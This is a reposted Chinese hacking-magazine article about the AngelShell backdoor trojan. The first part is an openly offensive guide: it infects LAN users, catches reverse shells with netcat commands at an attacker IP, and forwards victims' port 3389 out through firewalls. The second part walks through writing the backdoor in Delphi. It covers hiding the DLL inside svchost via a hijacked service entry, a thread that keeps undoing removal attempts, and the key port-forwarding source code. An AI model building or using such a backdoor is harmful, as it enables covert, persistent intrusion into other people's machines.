让所有正向程序实现反向连接【转载】

来源:互联网 发布:windows phone助手 编辑:程序博客网 时间:2024/04/29 05:15
秘密穿过内网防火墙

作者:陈一天  查看:19  平均分:0  日期:2005-6-3  类别:网络通信

    小天最近利用微软新爆出的几个漏洞,放出很多C/S木马,但捕获的“肉鸡”却是少之又少,让他郁闷不已。原来,很多中招者都是FTTP+LAN环境下的局域网用户,在小天与被攻击者之间隔有硬件防火墙,而采用IP直连的方法当然是行不通的。此时,他想到了一位法力无边的“天使”Angelshell……

    木马档案
    木马代号:Angelshell
    木马版本:Ver 1.0
    木马特长:支持正/反双向连接,可生成EXE和DLL两种服务端,能够转发肉鸡的任意端口到本地机器。

    对于广大攻击者而言,突破硬件防火墙无异于将一把利剑插入攻击对象的咽喉,这正是笔者今天要介绍的主角“AngelShell”的厉害之处。大家都知道,能够穿过硬件防火墙的后门程序非常少。然而,AngelShell不仅可以穿过硬件防火墙实现反向连接,还可让所有正向连接的程序都实现反向连接。

    下面,笔者就带大家一同迈向“天使”所开启的后门(本文试验的肉鸡IP地址为61.*.*.101,笔者入侵用机的IP为61.*.*.157),看完本文大家会对AngelShell的使用方法有一个比较系统的了解。全文将分为“配置、连接、端口转发”三个部分来为读者讲解“天使”AngelShell的应用。

    要想穿过硬件防火墙,这位天使需要极其强大的能量。因此,在让我们的天使发挥威力之前,先给它一点时间做好准备工作。让我们的天使积蓄能量吧。

    在这一部分,笔者将向大家介绍AngelShell的基本设置。

    首先我们来了解一下“天使”的组成部分。AngelShell的核心程序包含3个文件,它们分别是Angelshell.exe、Fport.exe、FportClient.exe。另外,最后连接肉鸡的工作还需要请出nc.exe来配合完成,也就是大家熟悉的“瑞士军刀”。

    现在,笔者介绍一下它们的作用,以及它们是如何相互配合控制内网肉鸡的。

    木马程序的生成要靠Angelshell.exe来完成,它被用于生成服务端的。在运行Angelshell.exe后,出现如图所示的窗口,在这里我们可设置连接端口(默认为3721)和连接密码,并在“反向连接信息”中填写好存放反向连接信息文件“angel.ini”的网络地址http://www.***.com/angel.ini。填写妥当后,生成需要的服务端即可(DLL或EXE),其作用自然是让对方在运行后自动开启一个后门,以便进一步的入侵。

    FportClient.exe则是被用来进行端口转发的客户端,它可以把远程计算机的任意端口反向模拟到本地机器来。

    因为反向连接需要控制者的IP地址和端口信息,而不同用户的IP地址和想要设置的端口是不同的,所以angel.ini文件就需要手动编写并上传到自己的网络服务空间。格式如下:在第一行填写自己机器的IP地址(如“61.*.*.157),第二行写上nc.exe监听的端口,也就是肉鸡用来自动连接的端口(如3721)。其作用是,一旦肉鸡运行了木马程序,我们只要在自己的机器上用nc.exe监听3721端口,就可以让肉鸡上钩。


    当肉鸡经不住天使的诱惑而上钩时,我们就可潜入肉鸡的硬盘之中。当然,要想能控制好我们的天使,还得依靠瑞士军刀的帮助。

    我们要用到telnet连接和端口监听功能。如果肉鸡已经运行了刚才所生成的木马程序,我们可以使用以下方法来连接肉鸡。

    nc正向连接的格式为“nc IP 端口”,如“nc 61.*.*.101 3721”;反向连接的格式则为“nc -l -p 监听端口”,如“nc -l -p 3721”。不论你用何种方式连接成功后,都会显示Banner欢迎信息,此时输入先前设定的密码,成功的话就可以得到一个拥有管理员权限的命令提示符操作界面(CMD shell),登录成功后会显示AngelShell的帮助信息和附加功能说明。

    通过前面两步,我们已经在肉鸡上安了家,但是要想让自己拥有更为广阔的控制范围,如利用终端服务或Radmin实现图形化控制,那就得让我们的“天使”使出看家本领──端口转发。

    Angelshell所独有的端口转发功能,可以让入侵者轻松地把远程端口以反向连接的方式模拟到本地来,从而轻松地攻破硬件防火墙的防守壁垒,让所有程序实现反向连接。如此一来,对于入侵者而言,采用终端服务登录内网机器、利用正向C/S木马图形化控制等入侵途径已不再是梦。

    我们采用上一部分介绍的方法,连接上后门后,首先在本地运行Fport的客户端程序“FportClient.exe”。

    在“本地要模拟的端口”栏填入我们需要模拟的端口。“连接远程计算机的端口”是用来接收远程计算机数据的,所以只要不与已经打开的端口冲突就可以了。设置完毕,就可以在肉鸡的CMD Shell下面执行fport命令。

    具体的fport命令格式为“fport ”。其中,参数local port是指在肉鸡上要转发的端口,your ip是自己的IP地址(或域名),yourport是指客户端上用来连接远程计算机的那个端口。

    现在,我们的目的是要把对方的终端服务的默认端口3389搬到自己机器的9999端口上来(达到的效果就是本地的9999端口相当于是肉鸡的3389端口)。那么现在就要在“本地要模拟的端口”栏填写3389,在“连接远程计算机的端口”栏填写9999,然后点击“开始监听”。监听的目的在于让肉鸡主动“联系”入侵者,因为大家都知道终端服务正向连接内网机器,是不可能成功的。

    最后在肉鸡的CMD Shell下输入“fport 3389 61.*.*.157 9999”并回车就完成了端口转发操作。

    此时,客户端会显示“创建端口转发完毕,请确保您已经打开了Fport客户端”,这就表示我们已经成功了。现在,我们只需要使用3389终端连接器,连接本地9999端口就可以连接到肉鸡的3389端口了。使用终端服务登录内网机器的“不可能”事件就在天使的引领下完成了。在入侵者看来如此美丽的“天使”,对于不幸中招的肉鸡来说无异于是一个“恶魔”。控制好你手中的“天使”,它能帮助你更好地学习网络安全知识,别因一时的恶念而让“天使”成为“恶魔”。

让所有正向程序实现反向连接

类型:合作 作者: 日期:2005-05-31 13:25:38





适合读者:编程爱好者、入侵爱好者
前置知识:Delphi编程基础
Socket:在AngelShell的应用篇中,我们一起领略了它的风采,这个传奇式的能将正向程序实现反向连接的后门的确是不可多得的一道大餐!相信很多朋友一定想知道它是怎么做出来的吧?我也是,马上进入AngelShell的代码世界……

  做为一个后门程序,首先需要隐蔽性强,其次要具备实用的功能,个头也不能太大,自我保护功能还得强,最后程序运行要稳定,否则半路出错可就麻烦了;还有需要支持多用户同时登陆,且互不影响;对于硬件防火墙或内网的计算机,后门还需要提供反向连接的功能。关于隐蔽,我一向很看好DLL型的后门,这类后门一向都很难察觉到,而且DLL程序也自有它的优势,因为它可以利用Windows的服务共享来启动,也就是利用系统进程Svchost来实现加载。这样的后门,先不说隐蔽,就算你知道自己中了后门,要清除起来也是十分麻烦的。下面我们就一步一步来讲解AngelShell的编写方法。

  服务共享

  Windows系统服务分为独立进程和共享进程两种,在Windows 2000以后的操作系统中微软又把很多服务做成了共享方式,由Svchost.exe启动。Windows 2000一般有2个Svchost进程,一个是RPCSS(Remote Procedure Call)服务进程,另外一个则是由很多服务共享的Svchost.exe。Windows XP中则一般有4个以上的Svchost.exe服务进程,Windows 2003 Server中则更多。这样做虽然在一定程度上减少了系统资源的消耗,不过也带来一定的不稳定因素,因为任何一个共享进程的服务因为错误退出进程的话,就会导致整个进程中的所有服务都退出。    这里我们选择替换DLL的方式,原理是修改注册表中共享服务的ServiceDll值,把它变成自己的路径,然后把Start的值改成2,这样服务就自动启动了。当DLL被Svchost加载后,会执行DLL中一个过程名为ServiceMain的过程,所以整个程序都是从ServiceMain这个过程开始启动的。另一点是要实现端口转发,要实现端口转发其实并没有大家想象的那么复杂,其主要的连接模式应该如图1所示。


图1

  其中肉鸡外面的那一圈表示防火墙或者内网。后门首先连接Fport客户端,然后本机直接连接Fport客户端模拟出来的端口,然后后门在肉鸡上连接真正的端口,最后进行数据中转,通过多线程技术来处理多个连接,这样就完成了整个端口转发的过程。

   为了避免系统出问题,我从注册表中找了一个无关紧要的服务。就是“Portable Media Serial Number Service”,这个服务是系统本身自带的服务,但是默认是停止的。我们只需要把它的DLL指向我们的DLL,然后把服务设为自动就可以了。

  线程分配

  编程实现其实并不难,重在流程。当我们想清楚了实现原理的时候,在心中就要有这个程序运行的大致流程:

★安装:  
使用Rundll32来安装。首先判断后门是否在系统目录,如果是则继续,不是的话则把自己复制到系统目录,然后重新安装。再修改注册表,完成安装,然后执行服务。

★服务:
一共有8个线程,先给大家介绍一下这8个线程的作用。
1.这也是主线程。这个线程用来接收正向连接。
2.这个线程用来管理反向连接,每过一定的时间去指定的位置下载信息,然后尝试反向连接。
3.这个线程用来处理新接收的用户。当上面两个线程接收到新的连接时就开辟出来,使每个用户都拥有自己独立的线程运作,互不冲突。当接收用户连接后它将同时开辟出4号线程,然后负责处理用户的数据。如果是附加功能就直接执行(比如是端口转发就直接开辟出6号线程),如果不是附加功能就交由CMD进程处理。
4.这个线程由上面一个线程开出,负责把CMD的输出数据传输给用户。
5.自我保护线程。这个线程负责保护自己:由于以服务共享方式启动的服务是无法在中途停止的,所以要停止服务只有在服务管理器中设置为手动或禁用,再重启才能停止。这就给了这个保护线程一个极大的机会。这个线程负责每0.2秒钟检查一次注册表,如果发现自己被设置为手动或者禁用,或者被从Svchost组中删除,甚至整个服务都被删除,也都可以会立刻恢复!
6.这个线程由3号线程开出,用来管理端口转发线程的开辟。也就是管理后面两个线程,每接收一个新的连接就开辟出后面两个线程,并把Socket句柄交给后两个线程去处理。
7.这个线程用来把服务器的数据传输给客户端。
8.这个线程用来把客户端数据发送给服务器。
8个线程就分工完毕了,分工还算比较明确吧?每个线程都只管做好自己的事。当服务启动时,首先会开出1、2、5这三个线程,然后1号线程等待用户的连接,2号线程主动连接用户,5号线程开辟出以后一般就不需要变动了(除非卸载)。当用户连接上时,1(或2)号线程就开辟出一个3号线程,并把其Socket句柄作为参数传给它然后继续自己的事,然后3号线程对用户进行密码验证。如果密码正确则继续,否则断开连接,退出线程。然后3号线程建立起2个匿名管道和CMD进程,并把管道的输入输出句柄赋给CMD进程。然后开辟出4号线程,并把匿名管道的句柄和Socket句柄传递给它,它负责把CMD的输出传给用户,并负责接收、处理用户的数据。当接收到用户的数据时,判断是否是属于附加命令,如果是则执行,否则交由CMD进程去处理。

  端口转发

  下面讲最重要的实现端口转发的部分了,睡着的赶快给起来!
当3号线程判断命令是端口转发命令时,则自动开出6号线程,并把相关IP和端口作为参数传给它,然后继续去忙自己的事。6号线程则首先尝试与客户端建立连接,如果连接成功则等待数据,此时客户端在客户机上模拟出相应的端口,然后客户就连接自己这个模拟出来的端口。客户端接收连接后发送任意1个字节的数据给服务端,表示已经有了一个新的连接。此时服务端就连接自己那边的真正的端口,然后就开辟出7、8号线程来管理这个连接,7、8号线程就开始了自己的工作,配合并负责把自己端口的出入数据全部模拟到客户端。此时6号线程也还是不肯闲着,它还想继续接收新的连接,所以它又与客户端建立了一个新的连接,如果连接成功则继续等待。客户端如果又有新的连接的话就再发一个字节的数据过来,表示又有一个新的连接,然后6号线程再连接自己这边的端口,然后再开出新的7、8号线程……如此循环.就达到了一个把服务器端口反向模拟到客户端的目的,并且还能支持多条连接,其中每个连接是由2个线程来管理的。既然完整的流程已经出来了,写代码自然不在话下了。

  编程实现  

  限于篇幅,这里只帖出关键的代码,和一些要注意的地方,然后结合注释给大家讲一下,方便大家理解。

小知识:这里介绍一下关于Delphi里的网络编程和多线程编程。Delphi里提供了一大堆基于各种协议的控件,可以很方便的进行网络编程。当然,本文不是教你用这些控件,而是使用WinSock单元里的Socket函数来实现功能。具体用法可以参见源代码,或查看Winsock单元。至于多线程,在Delphi的Classes单元里面有一个Tthread类,你只需要建立一个该类的子类,然后重载他的Execute方法就可以轻松的实现多线程了。具体用法可以参见源代码,或查看Classes单元。

  下面这个函数是我和别人聊天时无意中想到的,它的作用是安装时用来取得自己的DLL路径。应用程序要取得自己的路径方法很多,可是用Rundll32来运行的DLL程序要取得自己的路径就没那么幸运了,顶多从第一参数中分析出自己的文件名。不过这里我教大家一个方法,就是首先取得自己的进程ID,然后分析自己这个Rundll32进程的模块,只要文件名与自己相匹配的就找到目标了,然后它的路径也就是后门的路径了。
       Function GetMypath:string;
          //用来获取自己的DLL路径的另类方法
       var
         ModuleList        :Cardinal;
         pm                :TMODULEENTRY32;
       begin
         Result:='';
         ModuleList:=CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,GetCurrentProcessId);
         pm.dwSize:=sizeof(TMODULEENTRY32);
         if module32first(ModuleList,pm) then
            repeat
               if UpperCase(GetName(pm.szExePath))=UpperCase(myname) then  //myname的变量是自己的DLL文件名
                  begin                  //GetName函数用来从路径中取得文件名。
                    Result:=pm.szExePath;   //如果文件名相同则返回模块的路径
                    break;
                  end;
            until not(module32next(ModuleList,pm));
         closehandle(ModuleList);
       end;   
下面这一段是6号线程的实现代码,通过代码和注释,你可以很清楚的看见它的实现方式。我们继续:
Procedure Tfport.execute;
var
  localfd,remotefd      :integer;
  myaddr,youraddr       :sockaddr_in;
  IP                    :string;
  ws                    :wsadata;
  Buf                   :byte;
Begin                            
  if not(HosttoIP(yourip,ip)) then ip:=yourip;
  WSAStartup(makeword(2,2),ws);       //初始化Windows Socket Dll
  youraddr.sin_family:=AF_INET;    //设置协议
  youraddr.sin_port:=htons(yourport);   //端口信息
  youraddr.sin_addr.S_addr:=inet_addr(pchar(ip));   //IP信息
  myaddr.sin_family:=AF_INET;     
  myaddr.sin_port:=htons(myport);
  myaddr.sin_addr.S_addr:=inet_addr(pchar('127.0.0.1'));
  remotefd:=socket(AF_INET,SOCK_STREAM,0);   //建立Socket
  localfd:=socket(AF_INET,SOCK_STREAM,0);
   //从这里开始一直到下面属于关键地方!
  while connect(remotefd,youraddr, sizeof(sockaddr_in))<>-1 do    //建立连接
       begin
            while true do                           //等待连接
                case Recv(remotefd,buf,1,0) of  
                    -1:begin                    //连接关闭则退出
                        closesocket(remotefd);
                        closesocket(localfd);
                        exit;
                       end;
                    0:begin
                        sleep(1);    //这一句很重要!没有这一句会导致整个系统资源都被它吃光。
                      end;
                    else break;    //如果收到一个字节的数据则跳出这个循环,表示已经有新的连接了。
                end;
            if connect(localfd,myaddr,sizeof(sockaddr_in))=-1 then  //连接失败则继续新的连接。
                begin
                        closesocket(remotefd);
                        closesocket(localfd);
                        remotefd:=socket(AF_INET,SOCK_STREAM,0);
                        localfd:=socket(AF_INET,SOCK_STREAM,0);
                        continue;
                end;
            Tsend.Create(localfd,remotefd);    //成功则创建2个线程负责传输数据,并把句柄传给它。
            Trecv.Create(localfd,remotefd);
            remotefd:=socket(AF_INET,SOCK_STREAM,0);    //再开辟出新的Socket,来建立新的连接。
            localfd:=socket(AF_INET,SOCK_STREAM,0);
       end;
  closesocket(remotefd);
  closesocket(localfd);
end; 需要转发数据的7、8号线程怎么办呢?因为是两个线程管理,所以一个线程只管往一个方向传输数据就可以了,所以这样编程很方便,速度也快。这里仅结合关键代码说一下:
Procedure Tsend.execute;     //这是其中的一个线程。负责把服务端数据发送到客户端
var
  Buf           :TBigbuf;
  Len           :integer;
  test          :byte;
begin
  while true do          //建立死循环来处理数据
     begin
       Len:=Recv(localfd,Buf,BigBufsize,0);
       case Len of
           -1:begin           //如果连接断开则退出线程
                   closesocket(localfd);
                   closesocket(remotefd);
                   exit;
              end;
            0:begin
                 if send(remotefd,test,0,0)=-1 then       //检测连接状态
                    begin
                      closesocket(remotefd);
                      closesocket(localfd);
                      exit;
                    end;
                 sleep(1);          //这一句同样重要,否则将吃光你的系统资源
              end;
          else
              begin
                 if send(remotefd,buf,len,0)=-1 then   //如果接收到数据则无条件转发.
                    Begin                 //如果发送失败则退出线程.
                      closesocket(localfd);
                      closesocket(remotefd);
                      exit;
                    end;
              end;
       end;
     end;
end; 另外还有一个地方要注意,那就是安装时修改注册表的那一项,这个地方浪费了我几个小时。记得有天晚上弄了半天Svchost就是不加载偶的DLL,郁闷啊!最后快要疯了的时候突然看到这样的东西,如图2所示。
 
图2
原来它的数据类型是扩展型的字符串,而我用Tregistry类提供的方法写入的类型是普通的字符串,所以当Svchost读取注册表时会无法识别。知道原因后,立即抛弃了Tregistry类,上网找了篇操作注册表的文章,直接调用就可以了(代码见光盘)。修改好以后,偶的DLL终于被Svchost执行了,心中那个舒畅啊!还好没疯。

客户端的编写
流程仍然是最关键的,配合下面的源代码和注释,我们一起来看一下大致的流程:
    while true do                    //这是管理线程的关键代码。功能类似于服务端的6号线程
      begin
        repeat
                you:=accept(remotefd,@their_addr,@size1);   //首先接收服务端的一个连接。
        until you<>-1;
        if isfirst then
           begin
              memo1.Lines.Add('已经接收到远程计算机的连接!');  //如果是第一次接收则显示信息。
              memo1.Lines.Add('请在本地连接'+edit1.Text+'端口');
              isfirst:=false;
           end;
        repeat
                I:=accept(localfd,@their_addr,@size2);   //接收了服务端的连接后再接收本地的一个连接。
        until I<>-1;
        if send(you,s,1,0)=-1 then       //发送一个字节的数据给服务端,表示本地新接收了一个连接
            begin               //如果连接失败则继续下一次连接。
                memo1.Lines.Add('建立连接失败,对方断开连接,或者已达最大连接数');
                closesocket(i);
                closesocket(you);
                continue;
            end;
        memo1.Lines.Add('已经成功建立一个新的连接。');   //连接成功,开辟出2个新的线程来实现数据转发,并把Socket句柄交给它们。
        Tsend.Create(I,you);
        Trecv.Create(I,you);
      end;                  //回到上面继续接收服务端的一个新的连接,如此循环。 
关于配置程序的编写,很多人可能都不知道该怎样写,其实很简单,其中一种方法就是把服务端程序转化成Byte型的数组嵌入程序,然后再用WinHex找一下一些类似于密码等关键数据的地址偏移量,然后只要把那个位置的数据按照要求修改一下,保存到磁盘就可以生成了服务端。
好了,程序的介绍就到这里了,欢迎大家到黑防论坛上一起讨论相关的技术,期待更新的技术出现!